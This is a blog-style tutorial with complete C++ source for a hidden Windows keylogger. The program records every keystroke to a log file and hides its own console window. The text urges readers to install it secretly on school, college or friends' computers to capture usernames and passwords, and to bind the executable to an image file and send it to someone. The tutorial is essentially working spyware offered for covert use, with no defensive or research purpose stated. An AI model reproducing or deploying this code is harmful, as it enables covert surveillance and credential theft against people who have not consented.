Create an Keylogger Using Visual C++


Hi friends I hope all of you were fine and enjoying my every bit of posts. Hence today I am going to tell you an secret of making your own keylogger at C++ by giving you the Spyware code in the last. It is going to be fun. You can install this spyware in your college/school or in your friend Computer system and get their username and passwords easily. So lets start…

Instructions to create an simple keylogger:

1. First of all download and install Dev C++ from here.

2. Now Go to File->New->Source File. Here you can see an blank window space where you will paste the following source code just below.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

 

3. Now Compile and execute the program using ctrl+F10.

4. Hence your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

5. You can also bind the .exe file with image or any files and send it to your friend.
If you have physical access to your college/school system,then copy the exe file in that system and run it.
For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.

The end! Have a nice day…
